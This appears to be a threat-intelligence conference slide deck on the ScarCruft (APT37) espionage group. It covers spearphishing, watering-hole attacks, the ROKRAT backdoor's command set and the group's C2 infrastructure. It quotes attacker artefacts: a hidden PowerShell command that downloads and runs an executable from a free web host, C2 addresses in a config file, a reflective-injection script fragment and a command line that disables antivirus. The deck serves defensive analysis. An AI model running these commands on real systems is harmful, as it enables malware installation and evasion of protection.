

# Behind the Mask of ScarCruft

## : Unveiling endeavor of shady actor



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Stuxnet



TeamSpy



Duqu 2.0



Darkhotel  
Part 2



Metel



Shamoon 2.0



ProjectSauron



StoneDrill



Adwind



MsnMM  
campaigns



Naikon



Miniduke



CosmicDuke



Poseidon



Saguaro



BlueNoroff



WannaCry



ExPetr /  
NotPetya



Lurk



Satellite  
Turla



StrongPity



Gauss



RedOctober



Hellsing



Regin



Icefog



Sofacy



Lazarus



Moonlight  
Maze



ATMitch



Flame



Careto /  
The Mask



Carbanak



GCMa



Ghoul



WhiteBear



ShadowPad



Wild  
Neutron



Blue  
Termite



Desert  
Falcons



Epic Turla



Winnti



mini  
Flame



NetTraveler



Equation



Spring  
Dragon



Danti



Fruity Armor



BlackOasis



Silence



ScarCruft



Energetic Bear /  
Crouching Yeti



Animal  
Farm



Dropping  
Elephant



Kimsuky

KASPERSKY

# What is in this talk?



TTPs  
of ScarCraft



Victimology  
of ScarCraft



Conflicting with  
other Group

# Who is ScarCruft?

**ScarCruft** a.k.a Reaper, Group123, APT37

**ScarCruft** is Korean speaking actor target for org/company related to the Korean Peninsula affairs

**ScarCruft** is high-skilled state-sponsored actor has own custom tools

**ScarCruft** is relatively not well-known, but is apparently quite resourceful





# TTPs of ScarCruft

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Characteristics of ScarCruft Tools

# Initial infection



## Favorite method: Spearphishing

High-profiled spearphishing attack


Malicious HWP: Target for South Korea

Quickly adopting of new vulnerability

Weaponized HWP document



DDE vulnerabilities



CVE-2017-11182 Weaponized document



# Initial infection



# Strategic Website Compromised

## Previous SWC attack by ScarCraft

# Operation Erebus in 2016




## SWC attack in 2016 from NK-related websites




## Preparing another SWC attack?

## Internal exploit testing of ScarCruft



## Payload delivered by Web exploit





# Infection Procedure

## Implant downloader

Include UAC Bypass method

CVE-2018-8120 exploit

Public code(UACME)



Initial Dropper



Installer



Config  
File

[General]  
Agent=Host Process Update  
UrlCount=5  
URL1=34.13.42.35  
URL2=34.13.42.35  
URL3=kmbr1.nitesbr1.org  
URL4=www.stjohns-burscough.org  
URL5=lotusprintgro up.com  
Object1=/uploads/girl.jpg  
Object2=/uploads/girl.jpg  
Object3=/UserFiles/File/images.png

refer to

Register as  
Windows service



Downloader

Download next payload

Uses steganography

Checks "SELGSIGN" header

Executes it without disk touching



C2 Server





# Infection Procedure

## Cloud-based backdoor



**Cloud-based backdoor  
(a.k.a ROKRAT)**




### Configuration data

Random path  
PID,  
Config path....



### 11 threads work

6 threads: Informationstealing  
5 threads: Forwarding data



# Infection Procedure

## Cloud-based backdoor



**Cloud-based backdoor  
(a.k.a ROKRAT)**



### Backdoor functionality

Download commands  
Upload command result

Cmd	Functionality
FU	File listing
FD	Download (non-encrypted)
FC	Download (encrypted)
EE	Run Windows commands
EL	Process listing
EK	Terminate process
PS	Update config
PI	Update cloud token
PA	Update config
TW	Run ipconfig, tree command
MS	Save screenshot
MK	Audio recording
DR	Download shellcode

scriptin

scriptout



# C2 Infrastructure



## Type of C2



### Compromised Web Server

- File upload vulnerability
- Used for payload hosting



### Free Web Hosting Service

- Used for testing and real attack
- Opsec failure, directory is opened(!)



## OpSec Failure of ScarCruft

### C2 Scripts and powershell

— Scripts for download additional payload

```
cmd.exe /k powershell.exe -windowstyle hidden -ExecutionPolicy Bypass $f='%APPDATA%/Microsoft/ieConv.exe' $t=http://xxxxx.000webhostapp.com/UserFiles/File/image/images/wwwtest.jpg; (New-Object System.Net.WebClient).DownloadFile($t,$f); Start-Process $f;Stop-Process -processname cmd
```

### Invoke-ReflectivePEInjection.ps1

```
#Main function to either run the script locally or remotely
Function Main
{
    Write-Verbose "PowerShell ProcessID: $PID"

    #Add a "program name" to exeargs, just so the string looks as normal as
    #if <$ExeArgs -ne $null -and $ExeArgs -ne ''>
    #<
    #     $ExeArgs = "ReflectiveExe $ExeArgs"
    #>
    #else
    #<
    #     $ExeArgs = "ReflectiveExe"
    #>

    #if <$ComputerName -eq $null -or $ComputerName -imatch "^\s*$">
    #<
    #     Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @<
```



# C2 Infrastructure



## Decoy Document from C2

File name	Last saved by	Last modified	Contents
Detail.hwp	JJGPc	2018-10-05 12:56:18	The statement against minister of economy from Youth Community Union on minimum wages  Original doc: youthunion.kr
Detail.hwp	ASUS	2018-10-09 01:15:37	Survey result about dispersed family members  Original doc: Ministry of Unification
report.hwp	ASUS	2018-10-09 12:29:34	The statement of POCOG (PyeongChang Organizing Committee for the 2018 Olympic) about their economic success

[성명] 최저임금 지역별 자동제율을 “이어타이 자원”으로 거론한 김동연 경제부총리는 그 일을 다물라

지난 30일 2일, 김동연 경제부총리는 국회 대정부질문에서 최저임금의 지역별 자동제율을 대정부에 검토하고 있다고 밝히며 지역별 자동제율을 검토하고 있다. 특히나 상당 규모의 고용효과, 자동제율이 검토되고 있는 상황에서의 자동제율을 검토하고 있다. 자동제율은 지역별 자동제율을 검토하는 때면 자동제율을 검토하고 있다. 자동제율은 지역별 자동제율을 검토하는 때면 자동제율을 검토하고 있다. 자동제율은 지역별 자동제율을 검토하는 때면 자동제율을 검토하고 있다.

- 남북 이산가족 전면적 생사확인 대비 전수 수요조사(이하 수요조사) 결과, 조사에 참여한 이산가족 34,119명 중 전면적 생사확인을 희망한 인원은 31,367명(91.9%)에 달하는 것으로 조사되었습니다.
- 또한 조사에 참여한 이산가족 중 25,558명(74.9%)이 고향 방문 참여를 희망하였으며, 영상편지의 경우 기존 촬영자(약 19,540여명)를 제외한 이산가족 22,928명 중 8,692명(37.9%)이 제작을 희망하였습니다.
- 통일부와 대한적십자사는 전문 기관에 의뢰하여 2018년 6월 11일부터 8월 10일까지 국내에 거주하는 이산가족 찾기 신청자 53,068명을 대상으로 수요조사를 실시하였으며, 이중 34,119명이 조사에 참여하였습니다.

It is my great pleasure to announce that POCOG has not only dispelled the concern of the 206 million dollars deficit when I became president back in May 2018, but also is expecting a surplus of 55 million dollars which far exceeds our target of balanced budget.

This achievement tributes to the support from the IOC and Korean Government, and combined efforts to increase the revenue by engaging more sponsors and donors and to cost-effectively utilize resources.

Olympic Winter Games PyeongChang 2018 will be remembered with its economic legacy, for we have accomplished the best outcome of the Games at the minimal





# Victimology

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Who is target of this campaign?

# Target of This Campaign



Investment company




Individuals interested  
in North Korea affairs



Diplomatic agency



Investment/Trading  
company



Diplomatic agency





# Dig into malware author

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Lesson learn from attacker



# Lesson Learn from Enemy

## Aggressive Adoption of public source

H:\National\_BackDoor(2018\_6\_18)shellcode\_china\

```
Chinese malware
loc_10009DB6:
mov     cl, [edx+eax]
add     cl, 7Ah
xor     cl, 19h          ; #CRYPTO
mov     [edx+eax], cl
inc     edx
cmp     edx, esi
jnl     short loc_10009DB6
```

```
ScarCraft Tool
loc_401283:
mov     dl, [ecx+edi]
add     dl, 7Ah
xor     dl, 19h          ; #CRYPTO
mov     [ecx+edi], dl
inc     ecx
cmp     ecx, esi
jnl     short loc_401283
```


**windows-rce-exploits-master**\documents\office\#CVE-2017-11882  
**windows-rce-exploits-master**\documents\acrobat\CVE-2018-4990  
**windows-rce-exploits-master**\web\vbscript\CVE-2018-8174\_PoC.h

**UACME**: <https://github.com/hfiref0x/UACME>

linuxdownload\smbattack\...\b>eternalblue7\_exploit.py

Wine CMD      Cloud API      Chinese-malware

Public exploit      UAC Bypass      SMB attack



Malware



Exploit

# Lesson Learn from Enemy

## Reliability and Stability



Considering Performance

```

F:\working\Performance2nd\Release\Performance2nd.pdb
GCIL ▶ .text$mn .text$H .text$X .idata$5 h10
.CRT$XCA p10 .CRT$XCA t10 .CRT$XCZ x10
.CRT$XIA C10 .CRT$XIAC a10 .CRT$XIC e10

```



Anti-Virus Bypass

```

Data Source\Off_Line<12_18>_NTDLL API_Bypass Anti_Virus<Hidden API>_Complete
Release\Zero_Image_DLL.pdb .00cfg äq0 .CRT$XCA êq0 .CRT$XCZ iq0
.CRT$XIA éq0 .CRT$XIC äq0 .CRT$XIZ ñq0 .CRT$XPA ïq0
.CRT$XPX .CRT$XPY .CRT$XPZ .CRT$XTA

C:\Program Files\360\360Safe\safemon\360
SPTool.exe" /disables p 1 "C:\Program
Files (x86)\360\360Safe\safemon\360SPTool
1.exe" /disables p 1 "C:\Program Files\3
60\Total Security\safemon\360SPTool.exe"
/disables p 1 "C:\Program Files (x86

```



# Lesson Learn from Enemy

## QA and Enhance Features



Downloader



### Bluetooth Harvester

Collects connected Bluetooth device info (Instance Name, Address, Class..)

```
H:\BlueTooth\aaa\bluetooth_device_1 - Copy\Release\bluetooth_device_1.pdb
H:\BlueTooth\aaa\bluetooth_device_1 - Copy\Release\bluetooth_device_1.pdb
H:\BlueTooth\aaa\bluetooth_device_1 - Copy\Release\bluetooth_device_1.pdb
H:\BlueTooth\aaa\bluetooth_device_1 - Copy\Release\bluetooth_device_1.pdb
```



### Windows commands

```
wmic csproduct get uuid
wmic diskdrive get serialnumber
Hostname
ipconfig -all
systeminfo
```

# Lesson Learn from Enemy

## Hard working

- 
- A vertical timeline on the right side of the slide, marked by a green line with circular nodes. Each node contains a date and a dot. To the left of the timeline, the names of various malware tools are listed, and to the right, their corresponding file paths are provided. The tools include Downloaders, Injectors, Bluetooth harvesters, Droppers, Uploaders, Installers, and AV Uninstallers. The timeline starts with a Dropper in May 2018 and ends with a Downloader in March 2019.
- Downloader 2019-03-01 ● G:\ConsoleApplication5\Release\ConsoleApplication5.pdb
  - Injector 2018-11-04 ● H:\Data Source\Off\_Line(12\_18)\_NTDLL\_API\_Bypass\_Anti\_Virus(Hidden)\Release\Injector.pdb
  - Downloader 2018-10-28 ● H:\Current Working Http\Download\_Data\Release\Download\_Data.pdb
  - Bluetooth harvester 2018-10-04 ● H:\BlueTooth\aaa\bluetooth\_device\_1 - Copy\Release\bluetooth\_device\_1.pdb
  - Dropper 2018-10-04 ● D:\working\1stspy4APT\Release\8thpro.pdb
  - Uploader(testing) 2018-09-12 ● I:\HttpSock\Upload\_Data\Release\Upload\_Data.pdb
  - Dropper 2018-09-06 ● F:\working\Performance2nd\Release\Performance2nd.pdb
  - Dropper 2018-09-04 ● I:\IPSCAN\IPScan\_Percolation(kill&makeinifile\_Complete)\Release\NWCWorkstation.pdb
  - Installer 2018-08-31 ● F:\working\IPScan\_Percolation\Release\IPScan\_Percolation.pdb
  - Initial Dropper 2018-08-29 ● F:\Final Project(20180108)\Final1stspy\CVE-2018-8120(IE32)\Release\8120ps.pdb
  - Downloader 2018-08-27 ● F:\working\hadowexecute - Copy\Release\hadowexecute.pdb
  - Dropper 2018-07-18 ● S:\Working\Final360Project\Release\ldr.pdb
  - Master Tool 2018-06-20 ● H:\National\_BackDoor(2018\_6\_18)\shellcode\_china\Master\Release\Master.pdb
  - Downloader 2018-06-20 ● S:\SUCCESS\hadowexecute\Release\hadowexecute.pdb
  - Downloader 2018-06-17 ● E:\Final Project(20180108)\Final1stspy\hadowexecute - Copy\Release\hadowexecute.pdb
  - AV Uninstaller 2018-06-07 ● H:\lpk\Release\slc.pdb
  - Loader 2018-06-01 ● E:\Final Project(20180108)\Final1stspy\LoadDll\Release\LoadDll.pdb
  - Dropper 2018-05-21 ● E:\Final Project(20180108)\Final1stspy\8thpro\Release\8thpro.pdb





# Conflicting with another Group

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Hiding another group's shadow


# Timeline of one victim



# Old Fight of Them

ScarCruft vs DarkHotel is old game

Sneak into another group's C2 server



Same decryption routine for False Flag?



DarkHotel: Op DayBreak

ScarCruft: Op Erebus



# Conclusion



ScarCruft is high-skilled diligent group



ScarCruft keep evolving their tools/method



ScarCruft keep targeting North Korea-related org/company



ScarCruft vs DarkHotel

To defeat hard worker, we need more hard working and sharing

#TheSAS2019

# Let's Talk?

**Seongsu Park** (@unpacker)

**GREAT** @ Kaspersky Lab

